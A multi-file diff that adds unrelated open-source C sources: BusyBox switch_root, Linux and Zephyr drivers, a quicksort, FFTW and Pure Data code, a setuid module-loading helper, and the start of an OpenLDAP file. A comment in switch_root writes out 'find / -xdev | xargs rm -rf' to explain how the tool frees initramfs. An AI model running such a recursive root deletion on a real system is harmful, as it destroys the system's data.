THE +** POSSIBILITY OF SUCH DAMAGE. +** +*/ diff --git a/pool/shard011/C/0142192_switch_root.c b/pool/shard011/C/0142192_switch_root.c new file mode 100644 index 0000000000000000000000000000000000000000..a301b365b8955bce3f518e051f098fcaed6ab4b6 --- /dev/null +++ b/pool/shard011/C/0142192_switch_root.c @@ -0,0 +1,219 @@ +/* vi: set sw=4 ts=4: */ +/* Copyright 2005 Rob Landley + * + * Switch from rootfs to another filesystem as the root of the mount tree. + * + * Licensed under GPLv2, see file LICENSE in this source tree. + */ + +//usage:#define switch_root_trivial_usage +//usage: "[-c /dev/console] NEW_ROOT NEW_INIT [ARGS]" +//usage:#define switch_root_full_usage "\n\n" +//usage: "Free initramfs and switch to another root fs:\n" +//usage: "chroot to NEW_ROOT, delete all in /, move NEW_ROOT to /,\n" +//usage: "execute NEW_INIT. PID must be 1. NEW_ROOT must be a mountpoint.\n" +//usage: "\n -c DEV Reopen stdio to DEV after switch" + +#include +#include +#include "libbb.h" +// Make up for header deficiencies +#ifndef RAMFS_MAGIC +# define RAMFS_MAGIC ((unsigned)0x858458f6) +#endif +#ifndef TMPFS_MAGIC +# define TMPFS_MAGIC ((unsigned)0x01021994) +#endif +#ifndef MS_MOVE +# define MS_MOVE 8192 +#endif + +// Recursively delete contents of rootfs +static void delete_contents(const char *directory, dev_t rootdev) +{ + DIR *dir; + struct dirent *d; + struct stat st; + + // Don't descend into other filesystems + if (lstat(directory, &st) || st.st_dev != rootdev) + return; + + // Recursively delete the contents of directories + if (S_ISDIR(st.st_mode)) { + dir = opendir(directory); + if (dir) { + while ((d = readdir(dir))) { + char *newdir = d->d_name; + + // Skip . and .. + if (DOT_OR_DOTDOT(newdir)) + continue; + + // Recurse to delete contents + newdir = concat_path_file(directory, newdir); + delete_contents(newdir, rootdev); + free(newdir); + } + closedir(dir); + + // Directory should now be empty, zap it + rmdir(directory); + } + } else { + // It wasn't a directory, zap it + unlink(directory); + } +} + +int switch_root_main(int argc, char **argv) MAIN_EXTERNALLY_VISIBLE; +int switch_root_main(int argc UNUSED_PARAM, char **argv) +{ + char *newroot, *console = NULL; + struct stat st; + struct statfs stfs; + dev_t rootdev; + + // Parse args (-c console) + opt_complementary = "-2"; // minimum 2 params + getopt32(argv, "+c:", &console); // '+': stop at first non-option + argv += optind; + newroot = *argv++; + + // Change to new root directory and verify it's a different fs + xchdir(newroot); + xstat("/", &st); + rootdev = st.st_dev; + xstat(".", &st); + if (st.st_dev == rootdev || getpid() != 1) { + // Show usage, it says new root must be a mountpoint + // and we must be PID 1 + bb_show_usage(); + } + + // Additional sanity checks: we're about to rm -rf /, so be REALLY SURE + // we mean it. I could make this a CONFIG option, but I would get email + // from all the people who WILL destroy their filesystems. + if (stat("/init", &st) != 0 || !S_ISREG(st.st_mode)) { + bb_error_msg_and_die("/init is not a regular file"); + } + statfs("/", &stfs); // this never fails + if ((unsigned)stfs.f_type != RAMFS_MAGIC + && (unsigned)stfs.f_type != TMPFS_MAGIC + ) { + bb_error_msg_and_die("root filesystem is not ramfs/tmpfs"); + } + + // Zap everything out of rootdev + delete_contents("/", rootdev); + + // Overmount / with newdir and chroot into it + if (mount(".", "/", NULL, MS_MOVE, NULL)) { + // For example, fails when newroot is not a mountpoint + bb_perror_msg_and_die("error moving root"); + } + xchroot("."); + // The chdir is needed to recalculate "." and ".." links + /*xchdir("/"); - done in xchroot */ + + // If a new console specified, redirect stdin/stdout/stderr to it + if (console) { + close(0); + xopen(console, O_RDWR); + xdup2(0, 1); + xdup2(0, 2); + } + + // Exec real init + execv(argv[0], argv); + bb_perror_msg_and_die("can't execute '%s'", argv[0]); +} + +/* +From: Rob Landley +Date: Tue, Jun 16, 2009 at 7:47 PM +Subject: Re: switch_root... + +... +... +... + +If you're _not_ running out of init_ramfs (if for example you're using initrd +instead), you probably shouldn't use switch_root because it's the wrong tool. + +Basically what the sucker does is something like the following shell script: + + find / -xdev | xargs rm -rf + cd "$1" + shift + mount --move . / + exec chroot . "$@" + +There are a couple reasons that won't work as a shell script: + +1) If you delete the commands out of your $PATH, your shell scripts can't run +more commands, but you can't start using dynamically linked _new_ commands +until after you do the chroot because the path to the dynamic linker is wrong. +So there's a step that needs to be sort of atomic but can't be as a shell +script. (You can work around this with static linking or very carefully laid +out paths and sequencing, but it's brittle, ugly, and non-obvious.) + +2) The "find | rm" bit will acually delete everything because the mount points +still show up (even if their contents don't), and rm -rf will then happily zap +that. So the first line is an oversimplification of what you need to do _not_ +to descend into other filesystems and delete their contents. + +The reason we do this is to free up memory, by the way. Since initramfs is a +ramfs, deleting its contents frees up the memory it uses. (We leave it with +one remaining dentry for the new mount point, but that's ok.) + +Note that you cannot ever umount rootfs, for approximately the same reason you +can't kill PID 1. The kernel tracks mount points as a doubly linked list, and +the pointer to the start/end of that list always points to an entry that's +known to be there (rootfs), so it never has to worry about moving that pointer +and it never has to worry about the list being empty. (Back around 2.6.13 +there _was_ a bug that let you umount rootfs, and the system locked hard the +instant you did so endlessly looping to find the end of the mount list and +never stopping. They fixed it.) + +Oh, and the reason we mount --move _and_ do the chroot is due to the way "/" +works. Each process has two special symlinks, ".", and "/". Each of them +points to the dentry of a directory, and give you a location paths can start +from. (Historically ".." was also special, because you could enter a +directory via a symlink so backing out to the directory you came from doesn't +necessarily mean the one physically above where "." points to. These days I +think it's just handed off to the filesystem.) + +Anyway, path resolution starts with "." or "/" (although the "./" at the start +of the path may be implicit), meaning it's relative to one of those two +directories. Your current directory, and your current root directory. The +chdir() syscall changes where "." points to, and the chroot() syscall changes +where "/" points to. (Again, both are per-process which is why chroot only +affects your current process and its child processes.) + +Note that chroot() does _not_ change where "." points to, and back before they +put crazy security checks into the kernel your current directory could be +somewhere you could no longer access after the chroot. (The command line +chroot does a cd as well, the chroot _syscall_ is what I'm talking about.) + +The reason mounting something new over / has no obvious effect is the same +reason mounting something over your current directory has no obvious effect: +the . and / links aren't recalculated after a mount, so they still point to +the same dentry they did before, even if that dentry is no longer accessible +by other means. Note that "cd ." is a NOP, and "chroot /" is a nop; both look +up the cached dentry and set it right back. They don't re-parse any paths, +because they're what all paths your process uses would be relative to. + +That's why the careful sequencing above: we cd into the new mount point before +we do the mount --move. Moving the mount point would otherwise make it +totally inaccessible to is because cd-ing to the old path wouldn't give it to +us anymore, and cd "/" just gives us the cached dentry from when the process +was created (in this case the old initramfs one). But the "." symlink gives +us the dentry of the filesystem we just moved, so we can then "chroot ." to +copy that dentry to "/" and get the new filesystem. If we _didn't_ save that +dentry in "." we couldn't get it back after the mount --move. + +(Yes, this is all screwy and I had to email questions to Linus Torvalds to get +it straight myself. I keep meaning to write up a "how mount actually works" +document someday...) +*/ diff --git a/pool/shard011/C/0142193_lcdc.c b/pool/shard011/C/0142193_lcdc.c new file mode 100644 index 0000000000000000000000000000000000000000..01dada97e7a753436915f16c2bfac85b7d9a6d6f --- /dev/null +++ b/pool/shard011/C/0142193_lcdc.c @@ -0,0 +1,239 @@ +/* Copyright (c) 2008-2009, Code Aurora Forum. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA + * 02110-1301, USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "msm_fb.h" + +static int lcdc_probe(struct platform_device *pdev); +static int lcdc_remove(struct platform_device *pdev); + +static int lcdc_off(struct platform_device *pdev); +static int lcdc_on(struct platform_device *pdev); + +static struct platform_device *pdev_list[MSM_FB_MAX_DEV_LIST]; +static int pdev_list_cnt; + +static struct clk *mdp_lcdc_pclk_clk; +static struct clk *mdp_lcdc_pad_pclk_clk; + +int mdp_lcdc_pclk_clk_rate; +int mdp_lcdc_pad_pclk_clk_rate; + +static struct platform_driver lcdc_driver = { + .probe = lcdc_probe, + .remove = lcdc_remove, + .suspend = NULL, + .resume = NULL, + .shutdown = NULL, + .driver = { + .name = "lcdc", + }, +}; + +static struct lcdc_platform_data *lcdc_pdata; + +static int lcdc_off(struct platform_device *pdev) +{ + int ret = 0; + + ret = panel_next_off(pdev); + + clk_disable(mdp_lcdc_pclk_clk); + clk_disable(mdp_lcdc_pad_pclk_clk); + + if (lcdc_pdata && lcdc_pdata->lcdc_power_save) + lcdc_pdata->lcdc_power_save(0); + + if (lcdc_pdata && lcdc_pdata->lcdc_gpio_config) + ret = lcdc_pdata->lcdc_gpio_config(0); + +// pm_qos_update_requirement(PM_QOS_SYSTEM_BUS_FREQ , "lcdc", +// PM_QOS_DEFAULT_VALUE); + + return ret; +} + +static int lcdc_on(struct platform_device *pdev) +{ + int ret = 0; + struct msm_fb_data_type *mfd; + unsigned long panel_pixclock_freq , pm_qos_freq; + + mfd = platform_get_drvdata(pdev); + panel_pixclock_freq = mfd->fbi->var.pixclock; + + if (panel_pixclock_freq > 58000000) + /* pm_qos_freq should be in Khz */ + pm_qos_freq = panel_pixclock_freq / 1000 ; + else + pm_qos_freq = 58000; + +// pm_qos_update_requirement(PM_QOS_SYSTEM_BUS_FREQ , "lcdc", +// pm_qos_freq); + mfd = platform_get_drvdata(pdev); + + clk_enable(mdp_lcdc_pclk_clk); + clk_enable(mdp_lcdc_pad_pclk_clk); + + if (lcdc_pdata && lcdc_pdata->lcdc_power_save) + lcdc_pdata->lcdc_power_save(1); + if (lcdc_pdata && lcdc_pdata->lcdc_gpio_config) + ret = lcdc_pdata->lcdc_gpio_config(1); + + clk_set_rate(mdp_lcdc_pclk_clk, mfd->fbi->var.pixclock); + clk_set_rate(mdp_lcdc_pad_pclk_clk, mfd->fbi->var.pixclock); + mdp_lcdc_pclk_clk_rate = clk_get_rate(mdp_lcdc_pclk_clk); + mdp_lcdc_pad_pclk_clk_rate = clk_get_rate(mdp_lcdc_pad_pclk_clk); + + ret = panel_next_on(pdev); + return ret; +} + +static int lcdc_probe(struct platform_device *pdev) +{ + struct msm_fb_data_type *mfd; + struct fb_info *fbi; + struct platform_device *mdp_dev = NULL; + struct msm_fb_panel_data *pdata = NULL; + int rc; + + if (pdev->id == 0) { + lcdc_pdata = pdev->dev.platform_data; + return 0; + } + + mfd = platform_get_drvdata(pdev); + + if (!mfd) + return -ENODEV; + + if (mfd->key != MFD_KEY) + return -EINVAL; + + if (pdev_list_cnt >= MSM_FB_MAX_DEV_LIST) + return -ENOMEM; + + mdp_dev = platform_device_alloc("mdp", pdev->id); + if (!mdp_dev) + return -ENOMEM; + + /* + * link to the latest pdev + */ + mfd->pdev = mdp_dev; + mfd->dest = DISPLAY_LCDC; + + /* + * alloc panel device data + */ + if (platform_device_add_data + (mdp_dev, pdev->dev.platform_data, + sizeof(struct msm_fb_panel_data))) { + printk(KERN_ERR "lcdc_probe: platform_device_add_data failed!\n"); + platform_device_put(mdp_dev); + return -ENOMEM; + } + /* + * data chain + */ + pdata = (struct msm_fb_panel_data *)mdp_dev->dev.platform_data; + pdata->on = lcdc_on; + pdata->off = lcdc_off; + pdata->next = pdev; + + /* + * get/set panel specific fb info + */ + mfd->panel_info = pdata->panel_info; + mfd->fb_imgType = MDP_RGB_565; + + fbi = mfd->fbi; + fbi->var.pixclock = mfd->panel_info.clk_rate; + fbi->var.left_margin = mfd->panel_info.lcdc.h_back_porch; + fbi->var.right_margin = mfd->panel_info.lcdc.h_front_porch; + fbi->var.upper_margin = mfd->panel_info.lcdc.v_back_porch; + fbi->var.lower_margin = mfd->panel_info.lcdc.v_front_porch; + fbi->var.hsync_len = mfd->panel_info.lcdc.h_pulse_width; + fbi->var.vsync_len = mfd->panel_info.lcdc.v_pulse_width; + + /* + * set driver data + */ + platform_set_drvdata(mdp_dev, mfd); + + /* + * register in mdp driver + */ + rc = platform_device_add(mdp_dev); + if (rc) + goto lcdc_probe_err; + + pdev_list[pdev_list_cnt++] = pdev; + return 0; + +lcdc_probe_err: + platform_device_put(mdp_dev); + return rc; +} + +static int lcdc_remove(struct platform_device *pdev) +{ +// pm_qos_remove_requirement(PM_QOS_SYSTEM_BUS_FREQ , "lcdc"); + return 0; +} + +static int lcdc_register_driver(void) +{ + return platform_driver_register(&lcdc_driver); +} + +static int __init lcdc_driver_init(void) +{ + mdp_lcdc_pclk_clk = clk_get(NULL, "mdp_lcdc_pclk_clk"); + if (IS_ERR(mdp_lcdc_pclk_clk)) { + printk(KERN_ERR "error: can't get mdp_lcdc_pclk_clk!\n"); + return IS_ERR(mdp_lcdc_pclk_clk); + } + mdp_lcdc_pad_pclk_clk = clk_get(NULL, "mdp_lcdc_pad_pclk_clk"); + if (IS_ERR(mdp_lcdc_pad_pclk_clk)) { + printk(KERN_ERR "error: can't get mdp_lcdc_pad_pclk_clk!\n"); + return IS_ERR(mdp_lcdc_pad_pclk_clk); + } +// pm_qos_add_requirement(PM_QOS_SYSTEM_BUS_FREQ , "lcdc", +// PM_QOS_DEFAULT_VALUE); + return lcdc_register_driver(); +} + +module_init(lcdc_driver_init); diff --git a/pool/shard011/C/0142194_eeprom_lpc11u6x.c b/pool/shard011/C/0142194_eeprom_lpc11u6x.c new file mode 100644 index 0000000000000000000000000000000000000000..76422326d6ad2d4a4dae4b71f3d84fae6b3383e4 --- /dev/null +++ b/pool/shard011/C/0142194_eeprom_lpc11u6x.c @@ -0,0 +1,120 @@ +/* + * Copyright (c) 2020 Seagate Technology LLC + * + * SPDX-License-Identifier: Apache-2.0 + */ + +#define DT_DRV_COMPAT nxp_lpc11u6x_eeprom + +/** + * @file + * @brief EEPROM driver for NXP LPC11U6X MCUs + * + * This driver supports the on-chip EEPROM found on NXP LPC11U6x MCUs. + * + * @note This driver is only a wrapper for the IAP (In-Application Programming) + * EEPROM funcions. + */ + +#include +#include + +#define LOG_LEVEL CONFIG_EEPROM_LOG_LEVEL +#include +LOG_MODULE_REGISTER(eeprom_lpc11u6x); + +struct eeprom_lpc11u6x_config { + size_t size; +}; + +static int eeprom_lpc11u6x_read(const struct device *dev, + off_t offset, void *data, size_t len) +{ + const struct eeprom_lpc11u6x_config *config = dev->config; + uint32_t cmd[5]; + int ret; + + if (!len) { + return 0; + } + + if ((offset + len) > config->size) { + LOG_WRN("attempt to read past device boundary"); + return -EINVAL; + } + + cmd[0] = IAP_CMD_EEPROM_READ; + cmd[1] = offset; + cmd[2] = (uint32_t) data; + cmd[3] = len; + cmd[4] = CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC / 1000; + + ret = iap_cmd(cmd); + + if (ret != IAP_STATUS_CMD_SUCCESS) { + LOG_ERR("failed to read EEPROM (offset=%08x len=%d err=%d)", + (unsigned int) offset, len, ret); + return -EINVAL; + } + + return 0; +} + +static int eeprom_lpc11u6x_write(const struct device *dev, + off_t offset, const void *data, size_t len) +{ + const struct eeprom_lpc11u6x_config *config = dev->config; + uint32_t cmd[5]; + int ret; + + if (!len) { + return 0; + } + + if ((offset + len) > config->size) { + LOG_WRN("attempt to write past device boundary"); + return -EINVAL; + } + + cmd[0] = IAP_CMD_EEPROM_WRITE; + cmd[1] = offset; + cmd[2] = (uint32_t) data; + cmd[3] = len; + cmd[4] = CONFIG_SYS_CLOCK_HW_CYCLES_PER_SEC / 1000; + + ret = iap_cmd(cmd); + + if (ret != IAP_STATUS_CMD_SUCCESS) { + LOG_ERR("failed to write EEPROM (offset=%08x len=%d err=%d)", + (unsigned int) offset, len, ret); + return -EINVAL; + } + + return 0; +} + +static size_t eeprom_lpc11u6x_size(const struct device *dev) +{ + const struct eeprom_lpc11u6x_config *config = dev->config; + + return config->size; +} + +static int eeprom_lpc11u6x_init(const struct device *dev) +{ + return 0; +} + +static const struct eeprom_driver_api eeprom_lpc11u6x_api = { + .read = eeprom_lpc11u6x_read, + .write = eeprom_lpc11u6x_write, + .size = eeprom_lpc11u6x_size, +}; + +static const struct eeprom_lpc11u6x_config eeprom_config = { + .size = DT_INST_PROP(0, size), +}; + +DEVICE_DT_INST_DEFINE(0, &eeprom_lpc11u6x_init, device_pm_control_nop, NULL, + &eeprom_config, POST_KERNEL, + CONFIG_KERNEL_INIT_PRIORITY_DEVICE, &eeprom_lpc11u6x_api); diff --git a/pool/shard011/C/0142195_spec2_dbtorms_.c b/pool/shard011/C/0142195_spec2_dbtorms_.c new file mode 100644 index 0000000000000000000000000000000000000000..b89ff9b491aaeffb12158b2f7edabd75b3adf22b --- /dev/null +++ b/pool/shard011/C/0142195_spec2_dbtorms_.c @@ -0,0 +1,67 @@ +/* For information on usage and redistribution, and for a DISCLAIMER OF ALL +* WARRANTIES, see the file, "LICENSE.txt," in this distribution. + +iem_spec2 written by Thomas Musil, Copyright (c) IEM KUG Graz Austria 2000 - 2006 */ + +#include "m_pd.h" +#include "iemlib.h" +#include + +#define SPEC2LOGTEN 2.302585092994f + +/* ------------------------ spec2_dbtorms_tilde~ ------------------------- */ + +static t_class *spec2_dbtorms_tilde_class; + +typedef struct _spec2_dbtorms_tilde +{ + t_object x_obj; + t_float x_msi; +} t_spec2_dbtorms_tilde; + +static t_int *spec2_dbtorms_tilde_perform(t_int *w) +{ + t_float *in = (t_float *)(w[1]); + t_float *out = (t_float *)(w[2]); + int n = w[3]+1; + + for (; n--; in++, out++) + { + t_float f = *in; + + if(f <= 0.0f) + *out = 0.0f; + else + { + if(f > 485.0f) + f = 485.0f; + *out = exp((SPEC2LOGTEN * 0.05f) * (f-100.0f)); + } + } + return(w+4); +} + +static void spec2_dbtorms_tilde_dsp(t_spec2_dbtorms_tilde *x, t_signal **sp) +{ + int n = (sp[0]->s_n)/2; + + dsp_add(spec2_dbtorms_tilde_perform, 3, sp[0]->s_vec, sp[0]->s_vec, n); +} + +static void *spec2_dbtorms_tilde_new(void) +{ + t_spec2_dbtorms_tilde *x = (t_spec2_dbtorms_tilde *)pd_new(spec2_dbtorms_tilde_class); + + outlet_new(&x->x_obj, &s_signal); + x->x_msi = 0.0f; + return (x); +} + +void spec2_dbtorms_tilde_setup(void) +{ + spec2_dbtorms_tilde_class = class_new(gensym("spec2_dbtorms~"), (t_newmethod)spec2_dbtorms_tilde_new, + 0, sizeof(t_spec2_dbtorms_tilde), 0, 0); + CLASS_MAINSIGNALIN(spec2_dbtorms_tilde_class, t_spec2_dbtorms_tilde, x_msi); + class_addmethod(spec2_dbtorms_tilde_class, (t_method)spec2_dbtorms_tilde_dsp, gensym("dsp"), 0); +// class_sethelpsymbol(spec2_dbtorms_tilde_class, gensym("iemhelp2/spec2_dbtorms~-help")); +} diff --git a/pool/shard011/C/0142196_quicksort.c b/pool/shard011/C/0142196_quicksort.c new file mode 100644 index 0000000000000000000000000000000000000000..6e9af5f86d8bc3de05d161098f23b1309a4cccf1 --- /dev/null +++ b/pool/shard011/C/0142196_quicksort.c @@ -0,0 +1,149 @@ +/* + * Copyright (C) 2014 Gerhard Gappmeier + * + * This file is part of Calgos. + * + * Calgos is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Calgos is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with Calgos. If not, see . + */ +#include "quicksort.h" +#include /* for memcpy */ +#include + +/*#define DEBUG*/ +#ifdef DEBUG +# include +# define DEBUGPRINT(fmt, ...) printf(fmt, ##__VA_ARGS__) +static void printlist(int list[], size_t num) +{ + size_t i; + + printf("%i", list[0]); + for (i = 1; i < num; i++) { + printf(" %i", list[i]); + } + printf("\n"); +} +#else +# define DEBUGPRINT(fmt, ...) +# define printlist(a, b) +#endif + +/** swap marcro for abitrary sized data. + * Compilers are smart enough to replace memcpy with move calls + * if the data fits into a register. + */ +#define SWAP(a, b, size) ({char tmp[size]; memcpy(tmp, a, size); memcpy(a, b, size); memcpy(b, tmp, size);}) + +/** Quicksort algorithm. + * Sorts an array with \c num elements of size \c size. + * The \c base arguments points to the start of the array. + * + * The ontents of the array are sorted in ascending order according to a + * comparison function pointed to by compar, which is called with two arguments + * that point to the objects being compared. + * + * The comparison function must return an integer less than, equal to, or + * greater than zero if the first argument is considered to be respectively + * less than, equal to, or greater than the second. If two members compare as + * equal, their order in the sorted array is undefined. + */ +void quicksort(void *base, size_t num, size_t size, + int (*cmp)(const void *, const void *)) +{ + char *b = base; + char *left = base; + char *right = (char *)base + (num - 1) * size; + char *pivot; + size_t index; + + DEBUGPRINT("Sorting: "); + printlist(base, num); + + if (num < 2) + return; /* nothing to sort */ + + if (num == 2) { + /* just swap the elements if necessary */ + if ((*cmp)(right, left) < 0) { + SWAP(left, right, size); + } + DEBUGPRINT("Sorted: "); + printlist(base, num); + return; + } + + /* choose a pivot element. We choose the median of the leftmost, middle and rightmost value. */ + pivot = b + (num / 2) * size; + if ((*cmp)(pivot, left) < 0) + SWAP(left, pivot, size); + if ((*cmp)(right, pivot) < 0) { + SWAP(pivot, right, size); + /* we need to check again if now left is smaller than the middle value. */ + if ((*cmp)(pivot, left) < 0) + SWAP(left, pivot, size); + } + + DEBUGPRINT("Swapped: "); + printlist(base, num); + DEBUGPRINT("pivot=%i\n", *((int *)pivot)); + + if (num == 3) { + /* choosing the pivot has already sorted these three elements */ + DEBUGPRINT("Sorted: "); + printlist(base, num); + return; + } + + /* partition */ + while (left < right) { + while ((*cmp)(left, pivot) < 0) + left += size; + while (!((*cmp)(right, pivot) < 0)) + right -= size; + + if (left < right) { + SWAP(left, right, size); + DEBUGPRINT("Swapped: "); + printlist(base, num); + /* if we have swapped the pivot element we must update the pivot pointer */ + if (left == pivot) + pivot = right; + else if (right == pivot) + pivot = left; + left += size; + right -= size; + } else { + /* we are done */ + break; + } + } + DEBUGPRINT("Sorted: "); + printlist(base, num); + + /* left is now right+1*size, because no value can =piv. + * example: + * index: 0 1 2 3 4 5 6 7 + * data: 5 12 1 23 17 44 103 59 + * ^ ^ ^ + * r l p + * all values from 0-r ara < p + * all values from l-(n-1) are >= p + */ + index = (left - b) / size; + DEBUGPRINT("index=%lu\n", index); + assert(index > 0 && index < num); + quicksort(b, index, size, cmp); + quicksort(b + index * size, num - index, size, cmp); +} + diff --git a/pool/shard011/C/0142197_direct-r2r.c b/pool/shard011/C/0142197_direct-r2r.c new file mode 100644 index 0000000000000000000000000000000000000000..180656f3dcf4d2f3d6b08a8c0ff11d8a21136ab8 --- /dev/null +++ b/pool/shard011/C/0142197_direct-r2r.c @@ -0,0 +1,133 @@ +/* + * Copyright (c) 2003, 2007-8 Matteo Frigo + * Copyright (c) 2003, 2007-8 Massachusetts Institute of Technology + * + * See the file COPYING for license information. + * + */ + + +/* direct RDFT solver, using r2r codelets */ + +#include "rdft.h" + +typedef struct { + solver super; + const kr2r_desc *desc; + kr2r k; +} S; + +typedef struct { + plan_rdft super; + + INT vl, ivs, ovs; + stride is, os; + kr2r k; + const S *slv; +} P; + +static void apply(const plan *ego_, R *I, R *O) +{ + const P *ego = (const P *) ego_; + ASSERT_ALIGNED_DOUBLE; + ego->k(I, O, ego->is, ego->os, ego->vl, ego->ivs, ego->ovs); +} + +static void destroy(plan *ego_) +{ + P *ego = (P *) ego_; + X(stride_destroy)(ego->is); + X(stride_destroy)(ego->os); +} + +static void print(const plan *ego_, printer *p) +{ + const P *ego = (const P *) ego_; + const S *s = ego->slv; + + p->print(p, "(rdft-%s-direct-r2r-%D%v \"%s\")", + X(rdft_kind_str)(s->desc->kind), s->desc->n, + ego->vl, s->desc->nam); +} + +static int applicable(const solver *ego_, const problem *p_) +{ + const S *ego = (const S *) ego_; + const problem_rdft *p = (const problem_rdft *) p_; + INT vl; + INT ivs, ovs; + + return ( + 1 + && p->sz->rnk == 1 + && p->vecsz->rnk <= 1 + && p->sz->dims[0].n == ego->desc->n + && p->kind[0] == ego->desc->kind + + /* check strides etc */ + && X(tensor_tornk1)(p->vecsz, &vl, &ivs, &ovs) + + && (0 + /* can operate out-of-place */ + || p->I != p->O + + /* computing one transform */ + || vl == 1 + + /* can operate in-place as long as strides are the same */ + || X(tensor_inplace_strides2)(p->sz, p->vecsz) + ) + ); +} + +static plan *mkplan(const solver *ego_, const problem *p_, planner *plnr) +{ + const S *ego = (const S *) ego_; + P *pln; + const problem_rdft *p; + iodim *d; + + static const plan_adt padt = { + X(rdft_solve), X(null_awake), print, destroy + }; + + UNUSED(plnr); + + if (!applicable(ego_, p_)) + return (plan *)0; + + p = (const problem_rdft *) p_; + + + pln = MKPLAN_RDFT(P, &padt, apply); + + d = p->sz->dims; + + pln->k = ego->k; + + pln->is = X(mkstride)(d->n, d->is); + pln->os = X(mkstride)(d->n, d->os); + + X(tensor_tornk1)(p->vecsz, &pln->vl, &pln->ivs, &pln->ovs); + + pln->slv = ego; + X(ops_zero)(&pln->super.super.ops); + X(ops_madd2)(pln->vl / ego->desc->genus->vl, + &ego->desc->ops, + &pln->super.super.ops); + + pln->super.super.could_prune_now_p = 1; + + return &(pln->super.super); +} + +/* constructor */ +solver *X(mksolver_rdft_r2r_direct)(kr2r k, const kr2r_desc *desc) +{ + static const solver_adt sadt = { PROBLEM_RDFT, mkplan, 0 }; + S *slv = MKSOLVER(S, &sadt); + slv->k = k; + slv->desc = desc; + return &(slv->super); +} + diff --git a/pool/shard011/C/0142198_module_helper.c b/pool/shard011/C/0142198_module_helper.c new file mode 100644 index 0000000000000000000000000000000000000000..2d0359bbfc5ed0b1bc73829796be2acf1ccaba42 --- /dev/null +++ b/pool/shard011/C/0142198_module_helper.c @@ -0,0 +1,241 @@ +// Copyright 2006-2010, various authors +// +// This program is free software; you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation; either version 2 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + +/* +This module_helper program will be installed setuid and allows +the user to add and remove a whitelist of modules necessary to +run EMC. Without a scheme like this, we have to rely on sudo +to start AND EXIT our program, and that may require the user to +enter a password. Prompting for a password to exit a program +is bad. If the user cancels at that phase of the run, it's also +bad since we leave realtime modules inserted and he'll probably +end up being forced to reboot. + +In summary, I don't like this any more than you do, but I can't +think of a better way. +*/ + +#include +#include +#include +#include + +#include "config.h" + +/* module name, between last / and ., must be one of these */ +/* if one module name is a prefix of the other (e.g., "rtai" is a prefix to + * "rtai_math") then put the shorter name last. + */ +char *module_whitelist[] = { + "rtai_math", "rtai_sem", "rtai_shm", "rtai_fifos", "rtai_up", "rtai_lxrt", + "rtai_hal", "rtai_sched", "rtai_smi", "rtai", "rt_mem_mgr", "adeos", + "rtl_time", "rtl_sched", "rtl_posixio", "rtl_fifo", "rtl", "mbuff", + + NULL +}; + +/* module path must start with this. */ + +char *path_whitelist[] = { + "/lib/modules", RTDIR, + + NULL +}; + +/* module extension must be one of these */ + +char *ext_whitelist[] = { + MODULE_EXT, NULL +}; + +void error(int argc, char **argv) { + int i; + int res; + char *prog = argv[0]; + + /* drop root privs permanently */ + res = setuid(getuid()); + if(res != 0) + { + perror("setuid"); + exit(1); + } + + fprintf(stderr, "%s: Invalid usage with args:", argv[0]); + for(i=1; i +#include + +/* Check that a module (without path or extension) is in the whitelist. + * It's in the whitelist if it's in the module_whitelist, or if it exists + * in the EMC2_RTLIB_DIR with the extension MODULE_EXT. + */ +void check_whitelist_module(char *mod, int argc, char **argv) { + char *end; + DIR *d = opendir(EMC2_RTLIB_DIR); + + if(d) { + char buf[NAME_MAX + 1]; + snprintf(buf, NAME_MAX, "%s%s", mod, MODULE_EXT); + + while(1) { + struct dirent *ent = readdir(d); + if(!ent) break; + if(strcmp(ent->d_name, buf) == 0) { + closedir(d); + return; + } + } + closedir(d); + } + + end = check_whitelist(mod, module_whitelist); + + /* Check that end is not NULL (whitelist succeeded) and that it is the end of the string */ + if(!end || *end) error(argc, argv); + + +} + +int main(int argc, char **argv) { + char *mod; + int i; + int inserting = 0; + int res; + char **exec_argv; + + if(geteuid() != 0) { + fprintf(stderr, "module_helper is not setuid root\n"); + return 1; + } + /* drop root privs temporarily */ + res = seteuid(getuid()); + if(res != 0) + { + perror("seteuid"); + return 1; + } + + if(argc < 3) error(argc, argv); + if(strcmp(argv[1], "insert") && strcmp(argv[1], "remove")) error(argc, argv); + exec_argv = malloc(argc * sizeof(char *)); + + if(!strcmp(argv[1], "insert")) + inserting = 1; + + mod = argv[2]; + + if(inserting) { + check_whitelist_module_path(mod, argc, argv); + + exec_argv[0] = "/sbin/insmod"; + exec_argv[1] = mod; + + for(i=3; i. + * + * Copyright 2001-2011 The OpenLDAP Foundation. + * Portions Copyright 2001-2003 Pierangelo Masarati. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted only as authorized by the OpenLDAP + * Public License. + * + * A copy of this license is available in file LICENSE in the + * top-level directory of the distribution or, alternatively, at + * . + */ +/* ACKNOWLEDGEMENTS: + * This work was initially developed by Pierangelo Masarati for inclusion + * in OpenLDAP Software. + */ + +#include "portable.h" + +#include +#include "back-monitor.h" + +int +monitor_entry_update( + Operation *op, + SlapReply *rs, + Entry *e +) +{ + monitor_info_t *mi = ( monitor_info_t * )op->o_bd->be_private; + 